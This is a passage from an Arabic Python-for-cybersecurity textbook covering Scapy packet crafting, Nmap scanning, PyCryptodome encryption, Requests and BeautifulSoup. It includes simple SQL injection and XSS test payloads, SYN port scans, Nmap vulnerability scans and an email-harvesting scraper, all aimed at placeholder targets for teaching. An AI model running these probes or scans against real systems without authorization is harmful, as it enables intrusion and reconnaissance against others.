٢.٣.٢ التكامل مع لغات برمجة أخرى

تتميز Python بقدرتها العالية على التكامل مع لغات برمجة أخرى مثل C وC++ وJava، مما يمنحها مرونة إضافية تجمع بين سهولة الاستخدام والأداء العالي.

التكامل مع C و C++
يمكن دمج بايثون مع C وC++ للاستفادة من الأداء العالي في المهام المكثفة حسابيًا، مثل التشفير، وتحليل الملفات الثنائية، وتطوير الاستغلالات.

- Cython: امتداد لبايثون يسمح بكتابة وحدات Extensions بلغة قريبة من C وتحويل كود بايثون إلى C.

مثال: استخدام Cython لتسريع دالة:

```
# example.pyx
def fibonacci(int n):
    cdef int a = 0, b = 1, i
    for i in range(n):
        a, b = b, a + b
    return a
```

- ctypes: مكتبة تتيح استدعاء دوال من مكتبات مشتركة مكتوبة بلغة C.

مثال: استدعاء دالة من مكتبة C القياسية:

```
import ctypes

libc = ctypes.CDLL('libc.so.6')
print(libc.time(None))
```

التكامل مع Java

يمكن لبايثون التفاعل مع Java باستخدام أدوات مثل JPype أو Py4J، مما يسمح بالاستفادة من مكتبات جافا ضمن سكربتات بايثون.

- JPype: مكتبة تمكّن برامج بايثون من تشغيل كود جافا.

مثال: تشغيل كود Java من داخل بايثون:

```
import jpype

jpype.startJVM()
```

```
java = jpype.JPackage('java')
System = java.lang.System
System.out.println('Hello from Java!')
jpype.shutdownJVM()
```

التكامل مع سكربتات النظام

تستطيع Python تنفيذ أوامر النظام مباشرة، مما يسهل دمجها مع الأدوات الحالية وسير العمل القائم.

مثال: تنفيذ أمر من سطر الأوامر:

```
import subprocess

result = subprocess.run(
    ['ls', '-l'],
    capture_output=True,
    text=True
)
print(result.stdout)
```

٣.٣.٢ تطبيقات واقعية للمرونة والتوافق

تجعل مرونة بايثون وتوافقها العالي منها خيارًا مناسبًا لمجموعة واسعة من تطبيقات الأمن السيبراني، من أبرزها:

- أدوات متعددة المنصات: تطوير أدوات تعمل على مختلف أنظمة التشغيل دون تعديل كبير.
- حلول هجينة: الجمع بين بايثون ولغات أخرى لبناء أدوات عالية الأداء.
- أمن الحوسبة السحابية: أتمتة المهام الأمنية في البيئات السحابية بغض النظر عن المنصة.

مثال: ماسح شبكة متعدد المنصات:

```
import platform
import subprocess

def scan_network(ip):
    if platform.system() == "Windows":
        command = ["ping", "-n", "1", ip]
    else:
        command = ["ping", "-c", "1", ip]

    result = subprocess.run(
        command,
        capture_output=True,
        text=True
    )

    if "bytes" in result.stdout or "TTL" in result.stdout:
        print(f"{ip} is up")

scan_network("192.168.1.1")
```

٤.٣.٢ الخلاصة: مرونة بايثون وتوافقها في الأمن السيبراني

تمنح قابلية Python للعمل عبر منصات متعددة، إلى جانب قدرتها على التكامل مع لغات وأدوات أخرى، قوةً استثنائية لمتخصصي الأمن السيبراني. سواءً أكنت تطوّر أدوات تعمل على أنظمة مختلفة، أو تبني حلولاً عالية الأداء عبر دمج لغات متعددة، فإن مرونة بايثون تضمن لك القدرة على مواجهة التحديات الأمنية بكفاءة وفعالية.

الفصل ٣: أهم مكتبات بايثون للأمن السيبراني

١.٣ Scapy --- تحليل حزم الشبكة ومعالجتها

تُعد مكتبة Scapy واحدة من أقوى وأكثر مكتبات Python مرونة في مجال تحليل حزم الشبكة ومعالجتها. تُمكّن هذه المكتبة مختصي الأمن السيبراني من إنشاء حزم الشبكة وإرسالها وتعديلها، مما يجعلها أداة أساسية في مهام مثل اختبار الجدران النارية، وفحص الثغرات، واستطلاع الشبكات. يستعرض هذا القسم قدرات مكتبة ،Scapy وخصائصها الأساسية، وكيفية استخدامها في سيناريوهات أمن سيبراني واقعية.

١.١.٣ مقدمة إلى Scapy

Scapy هي أداة تفاعلية لمعالجة حزم الشبكة تعتمد على Python، وتتيح للمستخدمين إنشاء الحزم وإرسالها وتحليلها بمرونة عالية. تُستخدم هذه المكتبة على نطاق واسع من قِبل مختصي الأمن السيبراني، ومهندسي الشبكات، والباحثين، في مهام تتراوح بين اختبار الشبكات والتقييمات الأمنية.

لماذا Scapy؟

- تفاعلية وقابلة للبرمجة: يمكن استخدام Scapy بشكل تفاعلي داخل بيئة بايثون أو كمكتبة ضمن سكربتات، مما يتيح تنفيذ اختبارات سريعة أو مهام معقدة.

- دعم واسع للبروتوكولات: تدعم Scapy العديد من بروتوكولات الشبكة مثل TCP/IP، UDP، ICMP، DNS، HTTP وغيرها.
- إنشاء حزم مخصصة: تتيح Scapy تحكمًا دقيقًا في جميع حقول الحزمة، مما يجعلها مثالية للاختبار والبحث.

تجعل قدرة Scapy على التعامل مع الحزم منخفضة المستوى منها أداة مميزة وفريدة في مجال الأمن السيبراني.

٢.١.٣ الخصائص الأساسية: إنشاء الحزم، إرسالها، وتعديلها

تعتمد الوظائف الأساسية لـ Scapy على إنشاء الحزم، وإرسالها، وتعديلها، وهي ما يجعلها أداة قوية لتحليل الشبكات واختبار الأمن.

إنشاء الحزم
تسمح Scapy بإنشاء حزم مخصصة عبر تحديد كل طبقة من طبقات مكدس البروتوكولات.
مثال: إنشاء حزمة IP تحتوي على حمولة TCP:

```
from scapy.all import IP, TCP

packet = IP(dst="192.168.1.1") / TCP(dport=80, flags="S")
print(packet.show())
```

إرسال الحزم
توفر Scapy دوال لإرسال الحزم واستقبال الردود، مثل send() وsendp().
مثال: إرسال حزمة TCP مخصصة:

```
from scapy.all import send, IP, TCP

packet = IP(dst="192.168.1.1") / TCP(dport=80, flags="S")
send(packet)
```

تعديل الحزم

تتيح Scapy تعديل الحزم الموجودة، وهو أمر مفيد في مهام مثل حقن الحزم واختبار البروتوكولات.

مثال: تعديل قيمة TTL في حزمة ICMP:

```
from scapy.all import IP, ICMP

packet = IP(dst="192.168.1.1", ttl=64) / ICMP()
packet[IP].ttl = 128
print(packet.show())
```

٣.١.٣ حالات الاستخدام: اختبار الجدران النارية وفحص الثغرات

تجعل مرونة Scapy منها أداة مناسبة لمجموعة واسعة من مهام الأمن السيبراني.

اختبار الجدران النارية

يمكن استخدام Scapy لاختبار قواعد الجدران النارية عبر إرسال حزم مخصصة وتحليل الاستجابات.

مثال: اختبار استجابة الجدار الناري لحزم ICMP:

```
from scapy.all import IP, ICMP, sr1

packet = IP(dst="192.168.1.1") / ICMP()
response = sr1(packet, timeout=2)

if response:
    print("Firewall allows ICMP traffic")
else:
    print("Firewall blocks ICMP traffic")
```

فحص الثغرات

يمكن استخدام Scapy لاكتشاف الثغرات عبر إرسال حزم تستغل نقاط ضعف معروفة.
مثال: فحص المنافذ المفتوحة باستخدام مسح TCP SYN:

```
from scapy.all import IP, TCP, sr1

def scan_port(ip, port):
    packet = IP(dst=ip) / TCP(dport=port, flags="S")
    response = sr1(packet, timeout=1, verbose=0)
    if response and response.haslayer(TCP):
        if response[TCP].flags == "SA":
            print(f"Port {port} is open")
        elif response[TCP].flags == "RA":
            print(f"Port {port} is closed")

target_ip = "192.168.1.1"
for port in range(1, 1025):
    scan_port(target_ip, port)
```

٤.١.٣ مثال تطبيقي: إرسال طلب ICMP (Ping)

من أكثر الاستخدامات شيوعًا لمكتبة Scapy إرسال طلبات ICMP (Ping) لاختبار الاتصال الشبكي.
مثال برمجي:

```
from scapy.all import IP, ICMP, sr1

packet = IP(dst="192.168.1.1") / ICMP()
response = sr1(packet, timeout=2)

if response:
```

```
    print(f"Response received from {response[IP].src}")
    response.show()
else:
    print("No response received")
```

الشرح:

١. إنشاء الحزمة: استخدام IP() وICMP() لإنشاء حزمة Ping.

٢. إرسال الحزمة: استخدام sr1() لإرسال الحزمة وانتظار استجابة واحدة.

٣. تحليل الاستجابة: عرض تفاصيل الحزمة المستلمة أو الإبلاغ عن عدم وجود رد.

٥.١.٣ الخلاصة: دور Scapy في الأمن السيبراني

تُعد Scapy أداة لا غنى عنها لمختصي الأمن السيبراني بفضل مرونتها العالية في تحليل ومعالجة حزم الشبكة. ومن خلال إتقان استخدامها، يمكن فهم سلوك الشبكات بعمق، واكتشاف الثغرات، وتطوير وسائل دفاع فعالة.

٣.٣ Nmap --- فحص الشبكات واكتشاف الأجهزة

الفصل الثالث: أهم مكتبات بايثون للأمن السيبراني

تُعد أداة Nmap (اختصارًا لـ Network Mapper) واحدة من أكثر الأدوات استخدامًا في مجال فحص الشبكات واكتشاف الأجهزة. وعند دمجها مع لغة Python عبر مكتبة python-nmap، تصبح أداة قوية للغاية لمختصي الأمن السيبراني.

في هذا القسم، نستعرض قدرات Nmap، وكيفية دمجها مع Python، واستخدامها في مهام مثل الاختراق الأخلاقي، ورسم خرائط الشبكات، وتحليل المنافذ المفتوحة.

١.٣.٣ مقدمة إلى Nmap و python-nmap

تم تصميم Nmap كأداة مفتوحة المصدر مخصصة لـ استكشاف الشبكات، والتدقيق الأمني، واكتشاف الثغرات. تشتهر Nmap بقدرتها على فحص الشبكات الكبيرة بسرعة وتوفير معلومات تفصيلية عن الأجهزة، والمنافذ المفتوحة، والخدمات العاملة.

ما هي python-nmap؟

مكتبة python-nmap هي غلاف برمجي (Wrapper) يتيح التحكم في أداة Nmap باستخدام لغة Python. تُمكّن هذه المكتبة مختصي الأمن السيبراني من أتمتة عمليات الفحص ودمج نتائج Nmap مباشرة داخل السكربتات البرمجية.

لماذا نستخدم python-nmap؟

- الأتمتة: أتمتة عمليات فحص الشبكات المتكررة باستخدام سكربتات Python.
- التكامل: دمج قدرات Nmap مع مكتبات Python الأخرى لإجراء تحليلات متقدمة.
- التخصيص: إنشاء تدفقات فحص مخصصة تناسب احتياجات أمنية محددة.

٢.٢.٣ الخصائص الأساسية: فحص الشبكات وتحليل المنافذ المفتوحة

توفر Nmap، عند دمجها مع python-nmap، مجموعة واسعة من الخصائص المتقدمة لفحص الشبكات وتحليلها.

فحص الشبكات
تُمكّن Nmap من فحص شبكات كاملة لاكتشاف الأجهزة النشطة وعناوين IP الخاصة بها، وهو أمر مفيد في مهام مثل جرد الشبكات واكتشاف الأجهزة.
مثال: فحص شبكة لاكتشاف الأجهزة النشطة:

```
import nmap

scanner = nmap.PortScanner()
scanner.scan(hosts='192.168.1.0/24', arguments='-n -sP')

for host in scanner.all_hosts():
    print(f"Active host: {host}")
```

تحليل المنافذ المفتوحة
تستطيع Nmap تحديد المنافذ المفتوحة على جهاز معين، بالإضافة إلى الخدمات العاملة عليها، وهو أمر أساسي في تقييم الثغرات و الاختبار الاختراقي.
مثال: فحص جهاز واحد لاكتشاف المنافذ المفتوحة:

```
import nmap

scanner = nmap.PortScanner()
scanner.scan('192.168.1.1', '22-443')

for host in scanner.all_hosts():
    print(f"Open ports on {host}: {scanner[host]['tcp'].keys()}")
```

اكتشاف الخدمات وإصداراتها

تتيح Nmap اكتشاف إصدارات الخدمات العاملة على المنافذ المفتوحة، مما يوفر معلومات قيّمة أثناء التقييمات الأمنية.

مثال: اكتشاف إصدارات الخدمات:

```
import nmap

scanner = nmap.PortScanner()
scanner.scan('192.168.1.1', arguments='-sV')

for host in scanner.all_hosts():
    for proto in scanner[host].all_protocols():
        print(f"Protocol: {proto}")
        for port in scanner[host][proto].keys():
            service = scanner[host][proto][port]
            print(f"Port {port}: {service['name']} ({service['product']}
            ↪  {service['version']})")
```

٣.٢.٣ حالات الاستخدام: الاختراق الأخلاقي ورسم خرائط الشبكات

تُستخدم Nmap مع python-nmap على نطاق واسع في مجالات متعددة من الأمن السيبراني.

الاختراق الأخلاقي

يستخدم المختبرون الأخلاقيون Nmap لاكتشاف الثغرات المحتملة عبر تحليل المنافذ المفتوحة والخدمات والإعدادات الخاطئة.

مثال: فحص هدف بحثًا عن ثغرات شائعة:

```
import nmap

scanner = nmap.PortScanner()
```

```
scanner.scan('192.168.1.1', arguments='-sV --script vuln')

for host in scanner.all_hosts():
    print(f"Vulnerabilities on {host}: {scanner[host]['tcp']}")
```

رسم خرائط الشبكات

تُستخدم Nmap لإنشاء خرائط توضح الأجهزة المتصلة بالشبكة وأنظمة التشغيل الخاصة بها، وهو أمر مهم لفرق الشبكات والأمن.

مثال: تحديد نوع أنظمة التشغيل داخل شبكة:

```
import nmap

scanner = nmap.PortScanner()
scanner.scan(hosts='192.168.1.0/24', arguments='-O')

for host in scanner.all_hosts():
    print(f"Device: {host}, OS: {scanner[host]['osmatch'][0]['name']}")
```

التدقيق الأمني

تساعد Nmap في اكتشاف الأجهزة غير المصرح بها والمنافذ المفتوحة غير الضرورية داخل الشبكة.

مثال: اكتشاف أجهزة غير مصرح بها:

```
import nmap

scanner = nmap.PortScanner()
scanner.scan(hosts='192.168.1.0/24', arguments='-sP')

authorized_devices = ['192.168.1.1', '192.168.1.2']
```

```
for host in scanner.all_hosts():
    if host not in authorized_devices:
        print(f"Unauthorized device detected: {host}")
```

٤.٢.٣ مثال تطبيقي: فحص المنافذ المفتوحة باستخدام Nmap

يُعد فحص المنافذ المفتوحة من أكثر استخدامات Nmap شيوعًا.
مثال برمجي:

```
import nmap

scanner = nmap.PortScanner()
target_ip = '192.168.1.1'
scanner.scan(target_ip, '22-443')

for host in scanner.all_hosts():
    print(f"Scanning results for {host}:")
    for proto in scanner[host].all_protocols():
        print(f"Protocol: {proto}")
        for port in scanner[host][proto].keys():
            state = scanner[host][proto][port]['state']
            print(f"Port {port}: {state}")
```

الشرح:

١. تهيئة الماسح: إنشاء كائن PortScanner() للتعامل مع Nmap.

٢. فحص الهدف: استخدام الدالة scan() لفحص المنافذ من 22 إلى 443.

٣. عرض النتائج: طباعة حالة كل منفذ (مفتوح، مغلق، أو مفلتر).

٥.٢.٣ الخلاصة: دور Nmap في الأمن السيبراني

تُعد Nmap، عند دمجها مع python-nmap، أداة قوية في فحص الشبكات، واكتشاف الأجهزة، والتدقيق الأمني. تتيح هذه الأداة لمختصي الأمن السيبراني أتمتة عمليات الفحص، وتحليل النتائج برمجيًا، والحصول على رؤية عميقة لحالة أمن الشبكة.
في الأقسام التالية، سنستعرض مكتبات Python أخرى تُكمل قدرات Nmap، وتُسهم في بناء مجموعة أدوات أمنية متكاملة.

٣.٣ PyCryptodome --- تشفير البيانات وفكّ التشفير

الفصل الثالث: أهم مكتبات بايثون للأمن السيبراني
في عالم الأمن السيبراني، تُعد سرّية البيانات وأمن الاتصالات من أهم المتطلبات الأساسية. توفّر مكتبة PyCryptodome مجموعة قوية من الأدوات لتطبيق خوارزميات التشفير مثل AES وRSA وغيرها، مما يجعلها مكتبة أساسية لحماية البيانات وتأمين الاتصالات.
في هذا القسم، نستعرض قدرات PyCryptodome، وخصائصها الأساسية، وكيفية استخدامها في حماية البيانات الحساسة وبناء قنوات اتصال آمنة.

١.٣.٣ مقدمة إلى PyCryptodome

PyCryptodome هي مكتبة مستقلة بلغة Python توفّر اللبنات الأساسية للتشفير ومعالجة البيانات بشكل آمن. تُعد هذه المكتبة تطويرًا وتحسينًا لمكتبة PyCrypto القديمة، مع أداء أفضل ودعم أمني أحدث.
تدعم PyCryptodome مجموعة واسعة من خوارزميات التشفير، مما يجعلها أداة مرنة ومناسبة لمختلف تطبيقات الأمن السيبراني.

لماذا نستخدم PyCryptodome؟

- دعم شامل: دعم التشفير المتماثل مثل AES، والتشفير غير المتماثل مثل RSA، وخوارزميات التجزئة مثل SHA-256.

- سهولة الاستخدام: واجهة برمجية واضحة وسهلة الدمج داخل تطبيقات Python.
- أداء مرتفع: مُحسّنة من حيث السرعة لتناسب التطبيقات الصغيرة والكبيرة.

تُستخدم PyCryptodome في مهام مثل تشفير البيانات، والاتصال الآمن، والتوقيعات الرقمية، وتجزئة كلمات المرور.

٢.٣.٣ الخصائص الأساسية: AES و RSA وخوارزميات التشفير الأخرى

توفّر PyCryptodome مجموعة واسعة من الخوارزميات، كل منها مناسب لحالات استخدام مختلفة.

التشفير المتماثل (AES)
تُعد خوارزمية AES (Advanced Encryption Standard) من أكثر خوارزميات التشفير استخدامًا، لما تتميز به من سرعة وأمان عالٍ.

- أحجام المفاتيح: 128 و192 و256 بت.
- أنماط التشغيل: مثل ECB وCBC و GCM وEAX.

التشفير غير المتماثل (RSA)
تُستخدم خوارزمية RSA (Rivest--Shamir--Adleman) في تشفير البيانات وتوقيعها رقميًا.

- زوج المفاتيح: مفتاح عام للتشفير ومفتاح خاص لفكّ التشفير.
- أحجام المفاتيح: غالبًا 2048 أو 4096 بت لمستوى أمان مرتفع.

خوارزميات التجزئة
تدعم PyCryptodome خوارزميات تجزئة مثل SHA-256 و SHA-512 للتحقق من سلامة البيانات.

التوقيعات الرقمية
تتيح المكتبة إنشاء والتحقق من التوقيعات الرقمية باستخدام خوارزميات مثل RSA وECDSA.

٣.٣.٣ حالات الاستخدام: سرّية البيانات والاتصال الآمن

تُستخدم PyCryptodome على نطاق واسع في مهام تتطلب مستوى عاليًا من الأمان.

سرّية البيانات
يمكن استخدام PyCryptodome لتشفير البيانات الحساسة، بحيث تبقى محمية حتى في حال اعتراضها.

الاتصال الآمن
تُستخدم لتأمين الاتصال بين الأنظمة عبر تشفير الرسائل قبل الإرسال وفكّ تشفيرها عند الاستقبال.

التوقيعات الرقمية
تضمن سلامة الرسائل وصحة مصدرها.

تجزئة كلمات المرور
تُستخدم لحماية بيانات الاعتماد المخزّنة في قواعد البيانات.

٤.٣.٣ مثال تطبيقي: تشفير رسالة باستخدام AES

يُعد تشفير البيانات باستخدام AES من أكثر الاستخدامات شيوعًا في PyCryptodome.
مثال برمجي:

```
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes

key = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_EAX)

message = b"Hello, Cyber Security!"
ciphertext, tag = cipher.encrypt_and_digest(message)
```

```
print(f"Key: {key.hex()}")
print(f"Nonce: {cipher.nonce.hex()}")
print(f"Ciphertext: {ciphertext.hex()}")
print(f"Tag: {tag.hex()}")

decrypt_cipher = AES.new(key, AES.MODE_EAX, nonce=cipher.nonce)
decrypted_message = decrypt_cipher.decrypt_and_verify(ciphertext, tag)
print(f"Decrypted message: {decrypted_message.decode()}")
```

الشرح:

١. توليد المفتاح: إنشاء مفتاح عشوائي بطول 16 بايت.

٢. تهيئة الخوارزمية: استخدام نمط EAX الذي يوفّر التشفير والتحقق معًا.

٣. التشفير: تشفير الرسالة وإنشاء وسم تحقق.

٤. فكّ التشفير: فكّ تشفير البيانات والتحقق من سلامتها.

٥.٣.٣ مثال تطبيقي: تشفير رسالة باستخدام RSA

تدعم PyCryptodome أيضًا التشفير غير المتماثل باستخدام RSA.
مثال برمجي:

```
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

key = RSA.generate(2048)
public_key = key.publickey()
private_key = key
```

```
cipher = PKCS1_OAEP.new(public_key)
message = b"Hello, Cyber Security!"
ciphertext = cipher.encrypt(message)

print(f"Ciphertext: {ciphertext.hex()}")

decrypt_cipher = PKCS1_OAEP.new(private_key)
decrypted_message = decrypt_cipher.decrypt(ciphertext)
print(f"Decrypted message: {decrypted_message.decode()}")
```

الشرح:

١. توليد المفاتيح: إنشاء زوج مفاتيح RSA.

٢. التشفير: تشفير الرسالة باستخدام المفتاح العام.

٣. فكّ التشفير: فكّ تشفير الرسالة باستخدام المفتاح الخاص.

٦.٣.٣ الخلاصة: دور PyCryptodome في الأمن السيبراني

تُعد PyCryptodome مكتبة قوية ومتعددة الاستخدامات لتطبيق خوارزميات التشفير في Python. بفضل دعمها لـ AES و RSA وخوارزميات أخرى، فهي أداة أساسية لضمان سرّية البيانات وسلامة الاتصالات.

في القسم التالي، سننتقل إلى مكتبة Requests ودورها في تحليل حركة الويب والتفاعل مع تطبيقات الويب.

٤.٣ Requests --- تحليل حركة الويب

الفصل الثالث: أهم مكتبات بايثون للأمن السيبراني

تُعد مكتبة Requests واحدة من أكثر مكتبات Python شيوعًا في مجال تحليل حركة الويب والتعامل مع بروتوكول .HTTP تُبسّط هذه المكتبة عملية إرسال طلبات HTTP وتحليل الاستجابات، مما يجعلها أداة أساسية لمختصي الأمن السيبراني.
في هذا القسم، نستعرض مكتبة ،Requests وخصائصها الأساسية، وكيفية استخدامها في مهام مثل اختبار تطبيقات الويب، واكتشاف الثغرات، وتحليل حركة المرور الشبكية.

١.٤.٣ مقدمة إلى مكتبة Requests

Requests هي مكتبة بسيطة وقوية لإرسال طلبات HTTP باستخدام لغة Python. تُخفي هذه المكتبة التعقيدات المرتبطة ببروتوكول ،HTTP وتتيح التعامل مع الطلبات والاستجابات بعدد قليل من الأسطر البرمجية.

لماذا نستخدم ؟Requests

- سهولة الاستخدام: واجهة برمجية واضحة تجعل إرسال طلبات HTTP أمرًا سهلاً حتى للمبتدئين.
- المرونة: دعم كامل لجميع طرق HTTP مثل GET وPOST وPUT و DELETE.
- التكامل: إمكانية دمج Requests مع مكتبات أخرى مثل BeautifulSoup وScapy لتحليل متقدم لحركة الويب.

تُستخدم Requests على نطاق واسع في مهام مثل استخلاص البيانات من الويب، والتفاعل مع واجهات البرمجة (APIs)، واختبار ثغرات تطبيقات الويب.

٢.٤.٣ الخصائص الأساسية: إرسال طلبات HTTP وتحليل الاستجابات

توفّر مكتبة Requests مجموعة واسعة من الأدوات للتعامل مع طلبات HTTP واستجاباتها.

إرسال طلبات HTTP
تدعم Requests جميع الطرق القياسية لبروتوكول :HTTP

- GET: جلب البيانات من الخادم.
- POST: إرسال البيانات إلى الخادم.
- PUT: تحديث البيانات على الخادم.
- DELETE: حذف البيانات من الخادم.

مثال: إرسال طلب GET:

```
import requests

response = requests.get("https://example.com")
print(response.status_code)
print(response.text)
```

تحليل الاستجابات
توفر Requests وسائل سهلة للوصول إلى مكونات الاستجابة المختلفة.

- رمز الحالة: التحقق من نجاح الطلب (مثل 200 أو 404).
- الرؤوس (Headers): قراءة البيانات الوصفية للاستجابة.
- المحتوى: الوصول إلى نص الاستجابة أو البيانات الثنائية أو JSON.

مثال: تحليل استجابة HTTP:

```
import requests

response = requests.get("https://example.com")
print(f"Status Code: {response.status_code}")
print(f"Headers: {response.headers}")
print(f"Content Preview: {response.text[:100]}")
```

إدارة الجلسات وملفات الارتباط

تتيح Requests إدارة الجلسات وملفات الارتباط، وهو أمر مهم في مهام المصادقة والحفاظ على الحالة بين عدة طلبات.

مثال: استخدام جلسة HTTP:

```
import requests

session = requests.Session()
response = session.get(
    "https://example.com/login",
    params={"username": "user", "password": "pass"}
)
print(session.cookies)
```

٣.٤.٣ حالات الاستخدام: اختبار تطبيقات الويب واكتشاف الثغرات

تُستخدم Requests بشكل واسع في مهام الأمن السيبراني المرتبطة بتطبيقات الويب.

اختبار تطبيقات الويب

يمكن استخدام Requests لاختبار النماذج، والواجهات الخلفية، وسلوك التطبيقات.

مثال: اختبار نموذج تسجيل الدخول:

```
import requests

payload = {"username": "admin", "password": "password"}
response = requests.post("https://example.com/login", data=payload)

if response.status_code == 200:
    print("Login successful")
```

```
else:
    print("Login failed")
```

اكتشاف الثغرات

تُستخدم Requests لاختبار ثغرات شائعة مثل SQL Injection وXSS.

مثال: اختبار ثغرة SQL Injection:

```
import requests

payload = {"username": "admin' --", "password": "test"}
response = requests.post("https://example.com/login", data=payload)

if "error" in response.text.lower():
    print("Potential SQL Injection vulnerability detected")
```

استخلاص البيانات من الويب

يمكن دمج Requests مع BeautifulSoup لاستخلاص البيانات العامة لأغراض OSINT أو التحليل.

مثال: استخلاص الروابط من صفحة ويب:

```
import requests
from bs4 import BeautifulSoup

response = requests.get("https://example.com")
soup = BeautifulSoup(response.text, "html.parser")

for link in soup.find_all('a'):
    print(link.get('href'))
```

التفاعل مع واجهات البرمجة (APIs)

تُستخدم Requests على نطاق واسع للتعامل مع واجهات APIs. RESTful
مثال: جلب بيانات من API:

```
import requests

response = requests.get("https://api.example.com/data")
if response.status_code == 200:
    data = response.json()
    print(data)
```

٤.٤.٣ مثال تطبيقي: إرسال طلب GET وتحليل النتيجة

مثال برمجي:

```
import requests

url = "https://example.com"
response = requests.get(url)

print(f"Status Code: {response.status_code}")
print(f"Headers: {response.headers}")
print(f"Content Length: {len(response.text)} bytes")
print(f"Preview: {response.text[:100]}")
```

الشرح:

١. إرسال الطلب: استخدام requests.get() لإرسال الطلب.

٢. تحليل الاستجابة: فحص رمز الحالة والرؤوس والمحتوى.

٣. عرض النتائج: إظهار ملخص عن بيانات الاستجابة.

٥.٤.٣ مثال تطبيقي: اختبار ثغرة XSS باستخدام Requests

مثال برمجي:

```
import requests

url = "https://example.com/search"
payload = {"q": "<script>alert('XSS')</script>"}
response = requests.get(url, params=payload)

if payload["q"] in response.text:
    print("Potential XSS vulnerability detected")
else:
    print("No XSS vulnerability detected")
```

الشرح:

١. تجهيز الحمولة: إعداد حمولة تحاكي هجوم XSS.

٢. إرسال الطلب: تمرير الحمولة ضمن الطلب.

٣. تحليل النتيجة: التحقق من انعكاس الحمولة في الاستجابة.

٦.٤.٣ الخلاصة: دور Requests في الأمن السيبراني

تُعد مكتبة Requests أداة قوية ومرنة لتحليل حركة الويب والتفاعل مع تطبيقات الويب. بفضل بساطتها وسهولة دمجها مع مكتبات أخرى، فهي أداة أساسية في مهام اختبار تطبيقات الويب، واكتشاف الثغرات، وتحليل واجهات البرمجة.
في القسم التالي، سننتقل إلى مكتبة BeautifulSoup ودورها في استخلاص وتحليل بيانات الويب.

٥.٣ BeautifulSoup --- استخلاص وتحليل بيانات الويب

الفصل الثالث: أهم مكتبات بايثون للأمن السيبراني
تُعد مكتبة BeautifulSoup واحدة من أهم مكتبات Python المخصصة لـ استخلاص بيانات الويب و تحليل محتوى صفحات HTML وXML. تُمكّن هذه المكتبة مختصي الأمن السيبراني من تحليل محتوى المواقع الإلكترونية واستخلاص معلومات قيّمة، مما يجعلها أداة أساسية في مهام مثل تحقيقات OSINT و جمع البيانات و تحليل المحتوى العام.
في هذا القسم، نستعرض قدرات ،BeautifulSoup وخصائصها الأساسية، وكيفية استخدامها في سيناريوهات أمن سيبراني واقعية.

١.٥.٣ مقدمة إلى BeautifulSoup

BeautifulSoup هي مكتبة تُبسّط عملية تحليل ملفات HTML وXML وبناء شجرة تمثيلية للمستند تتيح التنقّل والبحث بسهولة داخل مكوناته. غالبًا ما تُستخدم جنبًا إلى جنب مع مكتبة Requests لجلب المحتوى من الويب ثم تحليله.

لماذا نستخدم BeautifulSoup؟

- سهولة الاستخدام: واجهة برمجية بسيطة لتحليل HTML وXML دون تعقيد.
- المرونة: دعم عدة محللات مثل html.parser وlxml وhtml5lib.
- التكامل: إمكانية الدمج مع مكتبات مثل Requests وPandas وre.

تُستخدم BeautifulSoup على نطاق واسع في مهام مثل استخبارات المصادر المفتوحة (OSINT)، وجمع البيانات العامة، وتحليل محتوى الويب.

٢.٥.٣ الخصائص الأساسية: استخراج وتحليل بيانات الويب

توفر BeautifulSoup مجموعة قوية من الأدوات لاستخلاص البيانات من صفحات الويب وتحليلها.

تحليل مستندات HTML وXML

تقوم BeautifulSoup بتحليل المستند وتحويله إلى بنية شجرية يمكن التنقل داخلها بسهولة.

مثال: تحليل مستند HTML:

```
from bs4 import BeautifulSoup

html_doc = """
<html>
  <head><title>Example Page</title></head>
  <body>
    <p class="title"><b>Example</b></p>
    <p class="content">This is an example page.</p>
  </body>
</html>
"""

soup = BeautifulSoup(html_doc, 'html.parser')
print(soup.prettify())
```

البحث واستخلاص البيانات

توفّر BeautifulSoup دوال مثل find() و find_all() وselect() للبحث داخل المستند.

مثال: استخراج جميع الفقرات النصية:

```
from bs4 import BeautifulSoup

html_doc = """
<html>
  <body>
    <p class="title"><b>Example</b></p>
    <p class="content">This is an example page.</p>
```

```
  </body>
</html>
"""

soup = BeautifulSoup(html_doc, 'html.parser')
paragraphs = soup.find_all('p')

for p in paragraphs:
    print(p.text)
```

التنقّل داخل شجرة المستند

تسمح BeautifulSoup بالتنقّل داخل عناصر المستند باستخدام خصائص مثل parent وchildreng وnext_sibling.

مثال: التنقّل داخل شجرة HTML:

```
from bs4 import BeautifulSoup

html_doc = """
<html>
  <head><title>Example Page</title></head>
  <body>
    <p class="title"><b>Example</b></p>
  </body>
</html>
"""

soup = BeautifulSoup(html_doc, 'html.parser')
title = soup.title
```

```
print(f"Title text: {title.text}")
print(f"Parent tag: {title.parent.name}")
```

٣.٥.٣ حالات الاستخدام: تحقيقات OSINT وجمع البيانات

تُستخدم BeautifulSoup على نطاق واسع في الأمن السيبراني لاستخلاص المعلومات العامة وتحليلها.

تحقيقات OSINT
تُستخدم لاستخلاص معلومات عامة من مواقع الإنترنت، المنتديات، والمصادر المفتوحة.
مثال: استخراج عناوين البريد الإلكتروني من صفحة ويب:

```
import re
import requests
from bs4 import BeautifulSoup

url = "https://example.com"
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')

emails = re.findall(r'[\w\.-]+@[\w\.-]+', soup.get_text())
for email in emails:
    print(email)
```

جمع البيانات
تُستخدم لاستخلاص بيانات مثل الأخبار، الأسعار، أو الإعلانات الوظيفية.
مثال: استخلاص عناوين الأخبار:

```
import requests
```

```
from bs4 import BeautifulSoup

url = "https://example-news.com"
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')

headlines = soup.find_all('h2', class_='headline')
for h in headlines:
    print(h.text)
```

تحليل محتوى الويب

يمكن استخدام BeautifulSoup لتحليل النصوص والأنماط داخل صفحات الويب.

مثال: تحليل تكرار الكلمات:

```
import requests
from bs4 import BeautifulSoup
from collections import Counter

url = "https://example.com"
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')

words = soup.get_text().split()
counts = Counter(words)
print(counts.most_common(10))
```

٤.٥.٣ مثال تطبيقي: استخراج الروابط من صفحة ويب

مثال برمجي:

```
import requests
from bs4 import BeautifulSoup

url = "https://example.com"
response = requests.get(url)

soup = BeautifulSoup(response.text, 'html.parser')
links = soup.find_all('a')

for link in links:
    print(link.get('href'))
```

الشرح:

١. جلب الصفحة: إرسال طلب HTTP باستخدام Requests.

